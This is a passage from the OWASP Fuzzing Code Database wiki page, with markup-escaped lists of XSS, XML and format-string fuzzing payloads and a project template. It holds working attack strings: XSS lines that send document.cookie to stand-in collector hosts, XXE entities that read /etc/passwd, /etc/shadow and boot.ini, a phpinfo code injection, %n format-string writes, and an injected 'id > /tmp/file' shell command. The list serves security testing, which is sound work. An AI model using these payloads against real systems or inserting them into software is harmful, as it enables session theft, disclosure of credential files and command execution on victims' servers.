/> &quot;&amp;lt;A HREF=&quot;&quot;//google&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.google.com./&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;javascript:document.location='http://www.google.com/'&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.gohttp://www.google.com/ogle.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;div onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;input type=&quot;&quot;image&quot;&quot; dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;bgsound src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&quot;<br /> &quot;&amp;lt;img src=&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&amp;gt;&quot;<br /> &quot;&amp;lt;link rel=&quot;&quot;stylesheet&quot;&quot; href=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;iframe src=&quot;&quot;vbscript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;livescript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;about:&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;meta http-equiv=&quot;&quot;refresh&quot;&quot; content=&quot;&quot;0;url=javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;body onload=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;background-image: url(javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;behaviour: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;width: expression(document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style type=&quot;&quot;text/javascript&quot;&quot;&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/style&amp;gt;&quot;<br /> &quot;&amp;lt;object classid=&quot;&quot;clsid:...&quot;&quot; codebase=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style&amp;gt;&amp;lt;!--&amp;lt;/style&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;![CDATA[&amp;lt;!--]]&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&quot;&quot;onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&amp;gt;&quot;&quot; onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div datafld=&quot;&quot;b&quot;&quot; dataformatas=&quot;&quot;html&quot;&quot; datasrc=&quot;&quot;#X&quot;&quot;&amp;gt;&amp;lt;/div&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;javascript#document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;mocha:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt; [Mozilla]&quot;<br /> &quot;&amp;lt;!-- -- --&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&amp;lt;!-- -- --&amp;gt;&quot;<br /> &quot;&amp;lt;xml src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;xml id=&quot;&quot;X&quot;&quot;&amp;gt;&amp;lt;a&amp;gt;&amp;lt;b&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/xml&amp;gt;&quot;<br /> &quot;[\xC0][\xBC]script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);[\xC0][\xBC]/script&amp;gt;&quot;<br /> &amp;gt;&amp;lt;script&amp;gt;<br /> &quot;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;);//&amp;lt;&amp;lt;/script&amp;gt;&quot;<br /> &amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;<br /> &quot;%3cscript%3ealert(&quot;&quot;WXSS&quot;&quot;);%3c/script%3e&quot;<br /> %3cscript%3ealert(document.cookie);%3c%2fscript%3e<br /> %3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;lt;/script&amp;gt;<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;amp;ltscript&amp;amp;gtalert<br /> &amp;lt;xss&amp;gt;&amp;lt;script&amp;gt;alert('WXSS')&amp;lt;/script&amp;gt;&amp;lt;/vulnerable&amp;gt;<br /> &amp;lt;IMG%20SRC='javascript:alert(document.cookie)'&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&quot;<br /> &amp;lt;IMG%20SRC=JaVaScRiPt:alert('WXSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert(&quot;WXSS&quot;)&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=`javascript:alert(&quot;&quot;'WXSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20&quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG%20SRC='javasc<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;%20&amp;amp;#14;%20javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20DYNSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20LOWSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert('XSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> '%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E<br /> &quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://cookieStealer/cgi-bin/cookie.cgi?'+document.cookie&amp;lt;/script&amp;gt;<br /> %22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E<br /> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//\;alert(String.fromCharCode(88,83,83))//&amp;gt;&amp;lt;/SCRIPT&amp;gt;!--&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;=&amp;amp;{}<br /> '';!--&amp;lt;XSS&amp;gt;=&amp;amp;{()}&quot;<br /> &lt;/pre&gt; <br /> &lt;br&gt; <br /> <br /> === XML Attacks - (Update: 11 August 2009 - Total Statements: 15) ===<br /> &lt;pre&gt;Statements<br /> count(/child::node())<br /> x' or name()='username' or 'x'='y<br /> &amp;lt;name&amp;gt;','')); phpinfo(); exit;/*&amp;lt;/name&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;script&amp;gt;var n=0;while(true){n++;}&amp;lt;/script&amp;gt;]]&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[' or 1=1 or ''=']]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file://c:/boot.ini&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/passwd&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/shadow&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////dev/random&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;xml SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &lt;/pre&gt; <br /> === Format String Statements - (Update: xx/xx/xx - Total Statements: 28) ===<br /> &lt;pre&gt;%s%p%x%d<br /> .1024d<br /> %.2049d<br /> %p%p%p%p<br /> %x%x%x%x<br /> %d%d%d%d<br /> %s%s%s%s<br /> %99999999999s<br /> %08x<br /> %%20d<br /> %%20n<br /> %%20x<br /> %%20s<br /> %s%s%s%s%s%s%s%s%s%s<br /> %p%p%p%p%p%p%p%p%p%p<br /> %#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%<br /> f(x)=%s x 123<br /> f(x)=%x x 255<br /> %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x<br /> %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s<br /> XXXXX.%p<br /> XXXXX`perl -e 'print &quot;.%p&quot; x 80'`<br /> `perl -e 'print &quot;.%p&quot; x 80'`%n<br /> %08x.%08x.%08x.%08x.%08x\n<br /> XXX0_%08x.%08x.%08x.%08x.%08x\n<br /> %.16705u%2\$hn<br /> \x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|<br /> ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;id &amp;gt; /tmp/file; exit;<br /> &lt;/pre&gt; <br /> ==== Project Contributor ====<br /> <br /> Project Leader: [[:User:Wagner.elias|'''Wagner Elias''']] <br /> <br /> Reviewer: [[:User:eneves|'''Eduardo Neves''']] <br /> <br /> Contributor: [[:User:ulisses.castro|'''Ulisses Castro''']] <br /> <br /> ==== Feedback and Participation ====<br /> <br /> We hope you find the Fuzzing Code Database useful. Please contribute to the Project by volunteering for one of the tasks, sending your comments, questions, and suggestions to wagner.elias |at| owasp.org <br /> <br /> ==== Project Identification ====<br /> <br /> {{Template:OWASP Project Identification Tab<br /> | project_name = OWASP Fuzzing Code Database<br /> | project_description = <br /> | leader_name = Wagner Elias<br /> | leader_email = <br /> | leader_username = Wagner.elias<br /> | maintainer_name = <br /> | maintainer_email = <br /> | maintainer_username = <br /> | contributor_name1 = <br /> | contributor_email1 = <br /> | contributor_username1 = <br /> | contributor_name2 = <br /> | contributor_email2 = <br /> | contributor_username2 = <br /> | contributor_name3 = <br /> | contributor_email3 = <br /> | contributor_username3 = <br /> | contributor_name4 = <br /> | contributor_email4 = <br /> | contributor_username4 = <br /> | contributor_name5 = <br /> | contributor_email5 = <br /> | contributor_username5 = <br /> | contributor_name6 = <br /> | contributor_email6 = <br /> | contributor_username6 = <br /> | contributor_name7 = <br /> | contributor_email7 = <br /> | contributor_username7 = <br /> | contributor_name8 = <br /> | contributor_email8 = <br /> | contributor_username8 = <br /> | contributor_name9 = <br /> | contributor_email9 = <br /> | contributor_username9 = <br /> | contributor_name10 = <br /> | contributor_email10 = <br /> | contributor_username10 = <br /> | pamphlet_link = <br /> | mailing_list_name = owasp-fuzzing-code-database<br /> | links_url1 = <br /> | links_name1 = <br /> | links_url2 = <br /> | links_name2 = <br /> | links_url3 = <br /> | links_name3 = <br /> | links_url4 = <br /> | links_name4 = <br /> | links_url5 = <br /> | links_name5 = <br /> | links_url6 = <br /> | links_name6 = <br /> | links_url7 = <br /> | links_name7 = <br /> | links_url8 = <br /> | links_name8 = <br /> | links_url9 = <br /> | links_name9 = <br /> | links_url10 = <br /> | links_name10 = <br /> | project_road_map =<br /> | project_health_status = <br /> | current_release_name = <br /> | current_release_date = <br /> | current_release_download_link = <br /> | current_release_rating = <br /> | current_release_leader_name = <br /> | current_release_leader_email = <br /> | current_release_leader_username = <br /> | last_reviewed_release_name = <br /> | last_reviewed_release_date = <br /> | last_reviewed_release_download_link = <br /> | last_reviewed_release_rating = <br /> | last_reviewed_release_leader_name = <br /> | last_reviewed_release_leader_email = <br /> | last_reviewed_release_leader_username = <br /> | old_release_name1 = <br /> | old_release_date1 = <br /> | old_release_download_link1 = <br /> | old_release_name2 = <br /> | old_release_date2 = <br /> | old_release_download_link2 = <br /> | old_release_name3 = <br /> | old_release_date3 = <br /> | old_release_download_link3 = <br /> | old_release_name4 = <br /> | old_release_date4 = <br /> | old_release_download_link4 = <br /> | old_release_name5 = <br /> | old_release_date5 = <br /> | old_release_download_link5 = <br /> }} __NOTOC__ &lt;headertabs /&gt; <br /> <br /> [[Category:OWASP_Project|Fuzzing Code Database]] [[Category:OWASP_Document]] [[Category:OWASP_Alpha_Quality_Document]]</div>

Adam.muntner